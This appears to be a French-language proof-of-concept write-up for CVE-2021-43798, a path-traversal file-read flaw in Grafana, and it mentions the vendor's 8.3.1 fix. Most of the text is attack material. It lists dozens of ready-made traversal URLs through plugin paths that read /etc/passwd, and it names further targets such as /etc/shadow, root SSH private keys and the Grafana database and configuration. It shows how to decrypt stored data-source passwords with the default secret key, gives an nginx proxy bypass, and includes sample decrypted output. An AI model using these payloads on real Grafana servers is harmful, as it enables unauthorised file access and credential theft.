CVE-2021-43798 Vulnérabilité de lecture arbitraire de fichiers non autorisée dans Grafana

8.3.1 (2021-12-07) Sécurité : Correction de CVE-2021-43798 . Pour plus d'informations, consultez notre blog

https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/

Exemple : obtenir le mot de passe de la base de données

/var/lib/grafana/grafana.db

Vérification en clair du mot de passe avec sel https://github.com/grafana/grafana/blob/985c61d7008211e0fbee7d095bf3424adf71b4ac/pkg/util/encoding.go

package main

import (
	"crypto/sha256"
	"encoding/hex"
	"fmt"
	"golang.org/x/crypto/pbkdf2"
)

// EncodePassword encodes a password using PBKDF2.
func EncodePassword(password string, salt string) string {
	newPasswd := pbkdf2.Key([]byte(password), []byte(salt), 10000, 50, sha256.New)
	return hex.EncodeToString(newPasswd)
}

func main() {
	fmt.Println(EncodePassword("admin", "F3FAxVm33R"))
}

Configuration /etc/grafana/grafana.ini

bash-5.1$ ps -ef |grep grafana
    1 grafana   0:35 grafana-server --homepath=/usr/share/grafana --config=/etc/grafana/grafana.ini --packaging=docker cfg:default.log.mode=console cfg:default.paths.data=/var/lib/grafana cfg:default.paths.logs=/var/log/grafana cfg:default.paths.plugins=/var/lib/grafana/plugins cfg:default.paths.provisioning=/etc/grafana/provisioning

Assurer le chiffrement des secrets des sources de données

Par défaut, les sources de données stockent les mots de passe et les mots de passe d'authentification de base dans secureJsonData chiffrés (AES-256 en mode CFB). Les sources de données existantes continueront à fonctionner avec des mots de passe non chiffrés. Si vous souhaitez migrer vers un stockage chiffré pour vos sources de données existantes, vous pouvez le faire en :

Pour les sources de données créées via l'interface utilisateur, vous devez accéder à la configuration de la source de données, saisir à nouveau le mot de passe ou le mot de passe d'authentification de base et enregistrer la source de données.
Pour les sources de données créées par provisionnement, vous devez mettre à jour votre fichier de configuration et utiliser le champ secureJsonData.password ou secureJsonData.basicAuthPassword. Consultez la [documentation sur le provisionnement]({{< relref "../administration/provisioning" >}}) pour un exemple de configuration actuelle.

https://github.com/grafana/grafana/blob/main/pkg/util/encryption.go

Déchiffrer le mot de passe

Par exemple : obtenez le texte chiffré de la source de données R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q== à partir de la base de données /var/lib/grafana/grafana.db, puis lisez la secret_key (par défaut : SW2YcwTIb9zpOOhoPsMm) dans /etc/grafana/grafana.ini pour déchiffrer

$ go run AESDecrypt.go
[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
[*] plainText= jas502n

Chiffrer le mot de passe

Par exemple : chiffrez le mot de passe en clair jas502n avec la clé pour obtenir le texte chiffré

[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] PlainText= jas502n
[*] EncodePassword= QWhMOFdNZkqW6bx9YM0dPHMjzInsvycQXgMmMfFqpA==

Autres attaques

/conf/defaults.ini
/etc/grafana/grafana.ini
/etc/passwd
/etc/shadow
/home/grafana/.bash_history
/home/grafana/.ssh/id_rsa
/root/.bash_history
/root/.ssh/id_rsa
/usr/local/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/net/fib_trie
/proc/net/tcp
/proc/self/cmdline

Nombre de plugins par défaut : 40
Nombre de succès : 48

Contourner l'erreur de proxy nginx de Grafana 400

https://twitter.com/chybeta/status/1468410745264041992

/public/plugins/alertGroups/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/alertmanager/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashboard/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/grafana/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mixed/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd

0x0 Liste des plugins par défaut installés (40) :

http://x.x.x.x:3000/api/plugins?embedded=0

alertlist
annolist
grafana-azure-monitor-datasource
barchart
bargauge
cloudwatch
dashlist
elasticsearch
gauge
geomap
gettingstarted
stackdriver
graph
graphite
heatmap
histogram
influxdb
jaeger
logs
loki
mssql
mysql
news
nodeGraph
opentsdb
piechart
pluginlist
postgres
prometheus
stat
state-timeline
status-history
table
table-old
tempo
testdata
text
timeseries
welcome
zipkin

0x01 /usr/share/grafana/public/app/plugins/datasource (21)

/usr/share/grafana/public/app/plugins/datasource

bash-5.1$ ls -l
drwxr-xr-x    3 root     root          4096 Oct  7 10:55 alertmanager
drwxr-xr-x    7 root     root          4096 Oct  7 10:55 cloud-monitoring
drwxr-xr-x    8 root     root          4096 Oct  7 10:55 cloudwatch
drwxr-xr-x    2 root     root          4096 Oct  7 10:55 dashboard
drwxr-xr-x    9 root     root          4096 Oct  7 10:55 elasticsearch
drwxr-xr-x    3 root     root          4096 Oct  7 10:55 grafana
drwxr-xr-x   19 root     root          4096 Oct  7 10:55 grafana-azure-monitor-datasource
drwxr-xr-x    9 root     root          4096 Oct  7 10:55 graphite
drwxr-xr-x    6 root     root          4096 Oct  7 10:55 influxdb
drwxr-xr-x    4 root     root          4096 Oct  7 10:55 jaeger
drwxr-xr-x    7 root     root          4096 Oct  7 10:55 loki
drwxr-xr-x    2 root     root          4096 Oct  7 10:55 mixed
drwxr-xr-x    5 root     root          4096 Oct  7 10:55 mssql
drwxr-xr-x    5 root     root          4096 Oct  7 10:55 mysql
drwxr-xr-x    6 root     root          4096 Oct  7 10:55 opentsdb
drwxr-xr-x    5 root     root          4096 Oct  7 10:55 postgres
drwxr-xr-x    7 root     root          4096 Oct  7 10:55 prometheus
drwxr-xr-x    4 root     root          4096 Oct  7 10:55 tempo
drwxr-xr-x    7 root     root          4096 Oct  7 10:55 testdata
drwxr-xr-x    4 root     root          4096 Oct  7 10:55 zipkin

Fuzz réussi !

/public/plugins/alertmanager/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashboard/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/grafana/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mixed/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd

0x02 /usr/share/grafana/public/app/plugins/ (29)

/usr/share/grafana/public/app/plugins/panel/

drwxr-xr-x    2 root     root        4.0K Oct  7 10:55 alertGroups
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 alertlist
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 annolist
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 barchart
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 bargauge
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 canvas
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 dashlist
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 debug
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 gauge
drwxr-xr-x    8 root     root        4.0K Oct  7 10:55 geomap
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 gettingstarted
drwxr-xr-x    5 root     root        4.0K Oct  7 10:55 graph
drwxr-xr-x    5 root     root        4.0K Oct  7 10:55 heatmap
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 histogram
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 live
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 logs
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 news
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 nodeGraph
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 piechart
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 pluginlist
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 stat
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 state-timeline
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 status-history
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 table
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 table-old
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 text
drwxr-xr-x    6 root     root        4.0K Oct  7 10:55 timeseries
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 welcome
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 xychart

Fuzz réussi

/public/plugins/alertGroups/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd

Grafana-CVE-2021-43798

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